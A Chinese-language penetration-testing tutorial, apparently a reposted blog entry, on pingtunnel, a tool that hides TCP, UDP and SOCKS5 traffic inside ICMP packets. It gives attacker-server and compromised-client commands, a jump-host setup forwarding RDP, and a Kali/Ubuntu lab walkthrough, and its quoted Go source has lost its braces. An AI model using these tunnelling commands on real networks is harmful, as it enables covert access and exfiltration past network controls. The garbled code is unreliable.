内网渗透系列:内网隧道之pingtunnel

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透系列:内网隧道之pingtunnel相关的知识,希望对你有一定的参考价值。

目录

前言

本文研究ICMP隧道的一个工具,pingtunnel

github:https://github.com/esrrhs/pingtunnel

一、概述

1、简介

持续更新,来自腾讯大佬,用Go编写,把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具,跨平台

条件:

  • 目标机(客户端)可以ping出去
  • 目标机可能要管理员权限
  • windows要装有wincap

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

3、使用

(1)直连出网

攻击机(服务端)启动隧道并关闭系统默认的 ping

sudo ./pingtunnel -type server
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

目标机(客户端)

# 转发 sock5
./pingtunnel -type client -l :4455 -s www.yourserver.com -sock5 1
# 转发 tcp
./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
# 转发 udp
./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

(2)跳板出网

跳板机

./pingtunnel -x 123456 #设置密码

攻击机

./pingtunnel -p <跳板机ip> -lp 1080 -da <目标机ip> -dp 3389 -x 123456
    -p 指定ICMP隧道另一端的IP
    -lp:指定本地监听的端口
    -da:指定要转发的目标机器的IP
    -dp:指定要转发的目标机器的端口
    -x:指定连接密码

二、实践

1、场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机

2、建立隧道

(1)攻击机

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭系统默认的 ping(可选)
[sudo] ./pingtunnel -type server -key 123456 #设置密码

(2)目标机

./pingtunnel -type client -l :8888 -s 192.168.10.128 -t 192.168.10.128:7777 -tcp 1 -key 123456

(3)nc

此时隧道建立成功

然后就可以进行下一步,比如nc

目标机

攻击机收到信息

3、抓包看看

建立连接时的心跳包和ARP寻址


nc命令时的包

三、探索

1、源码与分析

(1)main.go

主要是使用方法,调用server和client,然后有个过滤国家的filter可以忽略掉(调用的库有点多有点大)

package main

import (
	"flag"
	"fmt"
	"github.com/esrrhs/go-engine/src/common" 
	"github.com/esrrhs/go-engine/src/geoip"
	"github.com/esrrhs/go-engine/src/loggo"
	"github.com/esrrhs/go-engine/src/pingtunnel"
	"net"
	"net/http"
	_ "net/http/pprof"
	"strconv"
	"time"
)

var usage = `
    通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。
    By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.

Usage:

    // server
    pingtunnel -type server

    // client, Forward udp
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455

    // client, Forward tcp
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1

    // client, Forward sock5, implicitly open tcp, so no target server is needed
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1

    -type     服务器或者客户端
              client or server

服务器参数server param:

    -key      设置的密码,默认0
              Set password, default 0

    -nolog    不写日志文件,只打印标准输出,默认0
              Do not write log files, only print standard output, default 0 is off

    -noprint  不打印屏幕输出,默认0
              Do not print standard output, default 0 is off

    -loglevel 日志文件等级,默认info
              log level, default is info

    -maxconn  最大连接数,默认0,不受限制
              the max num of connections, default 0 is no limit

    -maxprt   server最大处理线程数,默认100
              max process thread in server, default 100

    -maxprb   server最大处理线程buffer数,默认1000
              max process thread's buffer in server, default 1000

    -conntt   server发起连接到目标地址的超时时间,默认1000ms
              The timeout period for the server to initiate a connection to the destination address. The default is 1000ms.

客户端参数client param:

    -l        本地的地址,发到这个端口的流量将转发到服务器
              Local address, traffic sent to this port will be forwarded to the server

    -s        服务器的地址,流量将通过隧道转发到这个服务器
              The address of the server, the traffic will be forwarded to this server through the tunnel

    -t        远端服务器转发的目的地址,流量将转发到这个地址
              Destination address forwarded by the remote server, traffic will be forwarded to this address

    -timeout  本地记录连接超时的时间,单位是秒,默认60s
              The time when the local record connection timed out, in seconds, 60 seconds by default

    -key      设置的密码,默认0
              Set password, default 0

    -tcp      设置是否转发tcp,默认0
              Set the switch to forward tcp, the default is 0

    -tcp_bs   tcp的发送接收缓冲区大小,默认1MB
              Tcp send and receive buffer size, default 1MB

    -tcp_mw   tcp的最大窗口,默认20000
              The maximum window of tcp, the default is 20000

    -tcp_rst  tcp的超时发送时间,默认400ms
              Tcp timeout resend time, default 400ms

    -tcp_gz   当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0
              Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0

    -tcp_stat 打印tcp的监控,默认0
              Print tcp connection statistic, default 0 is off

    -nolog    不写日志文件,只打印标准输出,默认0
              Do not write log files, only print standard output, default 0 is off

    -noprint  不打印屏幕输出,默认0
              Do not print standard output, default 0 is off

    -loglevel 日志文件等级,默认info
              log level, default is info

    -sock5    开启sock5转发,默认0
              Turn on sock5 forwarding, default 0 is off

    -profile  在指定端口开启性能检测,默认0不开启
              Enable performance detection on the specified port. The default 0 is not enabled.

    -s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发
              Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.

    -s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
              The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb
`

func main() 

	defer common.CrashLog()

	t := flag.String("type", "", "client or server")
	listen := flag.String("l", "", "listen addr")
	target := flag.String("t", "", "target addr")
	server := flag.String("s", "", "server addr")
	timeout := flag.Int("timeout", 60, "conn timeout")
	key := flag.Int("key", 0, "key")
	tcpmode := flag.Int("tcp", 0, "tcp mode")
	tcpmode_buffersize := flag.Int("tcp_bs", 1*1024*1024, "tcp mode buffer size")
	tcpmode_maxwin := flag.Int("tcp_mw", 20000, "tcp mode max win")
	tcpmode_resend_timems := flag.Int("tcp_rst", 400, "tcp mode resend time ms")
	tcpmode_compress := flag.Int("tcp_gz", 0, "tcp data compress")
	nolog := flag.Int("nolog", 0, "write log file")
	noprint := flag.Int("noprint", 0, "print stdout")
	tcpmode_stat := flag.Int("tcp_stat", 0, "print tcp stat")
	loglevel := flag.String("loglevel", "info", "log level")
	open_sock5 := flag.Int("sock5", 0, "sock5 mode")
	maxconn := flag.Int("maxconn", 0, "max num of connections")
	max_process_thread := flag.Int("maxprt", 100, "max process thread in server")
	max_process_buffer := flag.Int("maxprb", 1000, "max process thread's buffer in server")
	profile := flag.Int("profile", 0, "open profile")
	conntt := flag.Int("conntt", 1000, "the connect call's timeout")
	s5filter := flag.String("s5filter", "", "sock5 filter")
	s5ftfile := flag.String("s5ftfile", "GeoLite2-Country.mmdb", "sock5 filter file")
	flag.Usage = func() 
		fmt.Printf(usage)
	

	flag.Parse()

	if *t != "client" && *t != "server" 
		flag.Usage()
		return
	
	if *t == "client" 
		if len(*listen) == 0 || len(*server) == 0 
			flag.Usage()
			return
		
		if *open_sock5 == 0 && len(*target) == 0 
			flag.Usage()
			return
		
		if *open_sock5 != 0 
			*tcpmode = 1
		
	
	if *tcpmode_maxwin*10 > pingtunnel.FRAME_MAX_ID 
		fmt.Println("set tcp win too big, max = " + strconv.Itoa(pingtunnel.FRAME_MAX_ID/10))
		return
	
	// 记录日志
	level := loggo.LEVEL_INFO
	if loggo.NameToLevel(*loglevel) >= 0 
		level = loggo.NameToLevel(*loglevel)
	
	loggo.Ini(loggo.Config
		Level:     level,
		Prefix:    "pingtunnel",
		MaxDay:    3,
		NoLogFile: *nolog > 0,
		NoPrint:   *noprint > 0,
	)
	loggo.Info("start...")
	loggo.Info("key %d", *key)

	if *t == "server" 
		s, err := pingtunnel.NewServer(*key, *maxconn, *max_process_thread, *max_process_buffer, *conntt)
		if err != nil 
			loggo.Error("ERROR: %s", err.Error())
			return
		
		loggo.Info("Server start")
		err = s.Run()
		if err != nil 
			loggo.Error("Run ERROR: %s", err.Error())
			return
		
	 else if *t == "client" 

		loggo.Info("type %s", *t)
		loggo.Info("listen %s", *listen)
		loggo.Info("server %s", *server)
		loggo.Info("target %s", *target)

		if *tcpmode == 0 
			*tcpmode_buffersize = 0
			*tcpmode_maxwin = 0
			*tcpmode_resend_timems = 0
			*tcpmode_compress = 0
			*tcpmode_stat = 0
		
		
		// 过滤国家,如果不是翻墙可以忽略
		if len(*s5filter) > 0 
			err := geoip.Load(*s5ftfile)
			if err != nil 
				loggo.Error("Load Sock5 ip file ERROR: %s", err.Error())
				return
			
		
		filter := func(addr string) bool 
			if len(*s5filter) <= 0 
				return true
			

			taddr, err := net.ResolveTCPAddr("tcp", addr)
			if err != nil 
				return false
			

			ret, err := geoip.GetCountryIsoCode(taddr.IP.String())
			if err != nil 
				return false
			
			if len(ret) <= 0 
				return false
			
			return ret != *s5filter
		

		c, err := pingtunnel.NewClient(*listen, *server, *target, *timeout, *key,
			*tcpmode, *tcpmode_buffersize, *tcpmode_maxwin, *tcpmode_resend_timems, *tcpmode_compress,
			*tcpmode_stat, *open_sock5, *maxconn, &filter)
		if err != nil 
			loggo.Error("ERROR: %s", err.Error())
			return
		
		loggo.Info("Client Listen %s (%s) Server %s (%s) TargetPort %s:", c.Addr(), c.IPAddr(),
			c.ServerAddr(), c.ServerIPAddr(), c.TargetAddr())
		err = c.Run()
		if err != nil 
			loggo.Error("Run ERROR: %s", err.Error())
			return
		
	 else 
		return
	

	if *profile > 0 
		go http.ListenAndServe("0.0.0.0:"+strconv.Itoa(*profile), nil)
	

	for 
		time.Sleep(time.Hour)
	


(2)pingtunnel.go

ICMP包的构造和收发,其中ICMP包和IP包的构造直接从net库导入,收发主要是内容填充和一些error的注意

package pingtunnel

import (
	"encoding/binary"
	"github.com/esrrhs/go-engine/src/common"
	"github.com/esrrhs/go-engine/src/loggo"
	"github.com/golang/protobuf/proto"
	"golang.org/x/net/icmp"
	"golang.org/x/net/ipv4"
	"net"
	"sync"
	"time"
)

func sendICMP(id int, sequence int, conn icmp.PacketConn, server *net.IPAddr, target string,
	connId string, msgType uint32, data []byte, sproto int, rproto int, key int,
	tcpmode int, tcpmode_buffer_size int, tcpmode_maxwin int, tcpmode_resend_time int, tcpmode_compress int, tcpmode_stat int,
	timeout int) 

	m := &MyMsg
		Id:                  connId,
		Type:                (int32)(msgType),
		Target:              target,
		Data:                data,
		Rproto:              (int32)(rproto),
		Key:                 (int32)(key),
		Tcpmode:             (int32)(tcpmode),
		TcpmodeBuffersize:   (int32)(tcpmode_buffer_size),
		TcpmodeMaxwin:       (int32)(tcpmode_maxwin),
		TcpmodeResendTimems: (int32)(tcpmode_resend_time),
		TcpmodeCompress:     (int32)(tcpmode_compress),
		TcpmodeStat:         (int32)(tcpmode_stat),
		Timeout:             (int32)(timeout),
		Magic:               (int32)(MyMsg_MAGIC),
	

	mb, err := proto.Marshal(m)
	if err != nil 
		loggo.Error("sendICMP Marshal MyMsg error %s %s", server.String(), err)
		return
	

	body := &icmp.Echo
		ID:   id,
		Seq:  sequence,
		Data: mb,
	

	msg := &icmp.Message
		Type: (ipv4.ICMPType)(sproto),
		Code: 0,
		Body: body,
	

	bytes, err := msg.Marshal(nil)
	if err != nil 
		loggo.Error("sendICMP Marshal error %s %s", server.String(), err)
		return
	

	conn.WriteTo(bytes, server)


func recvICMP(workResultLock *sync.WaitGroup, exit *bool, conn icmp.PacketConn, recv chan<- *Packet) 

	defer common.CrashLog()

	(*workResultLock).Add(1)
	defer (*workResultLock).Done()

	bytes := make([]byte, 10240)
	for !*exit 
		conn.SetReadDeadline(time.Now().Add(time.Millisecond * 100))
		n, srcaddr, err := conn.ReadFrom(bytes)

		if err != nil 
			nerr, ok := err.(net.Error)
			if !ok || !nerr.Timeout() 
				loggo.Info("Error read icmp message %s", err)
				continue
			
		

		if n <= 0 
			continue
		

		echoId := int(binary.BigEndian.Uint16(bytes[4:6]))
		echoSeq := int(binary.BigEndian.Uint16(bytes[6:8]))

		my := &MyMsg
		err = proto.Unmarshal(bytes[8:n], my)
		if err != nil 
			loggo.Debug("Unmarshal MyMsg error: %s", err)
			continue
		

		if my.Magic != (int32)(MyMsg_MAGIC) 
			loggo.Debug("processPacket data invalid %s", my.Id)
			continue
		

		recv <- &Packetmy: my,
			src:    srcaddr.(*net.IPAddr),
			echoId: echoId, echoSeq: echoSeq
	


type Packet struct 
	my      *MyMsg
	src     *net.IPAddr
	echoId  int
	echoSeq int

以上是关于内网渗透系列:内网隧道之pingtunnel的主要内容,如果未能解决你的问题,请参考以下文章

内网渗透系列:内网隧道之icmp_tran

内网渗透系列:内网隧道之icmpsh

内网渗透系列:内网隧道之icmpsh

内网渗透系列:内网隧道之icmp_tran

内网渗透系列:内网隧道之iodine

内网渗透系列:内网隧道之dnscat2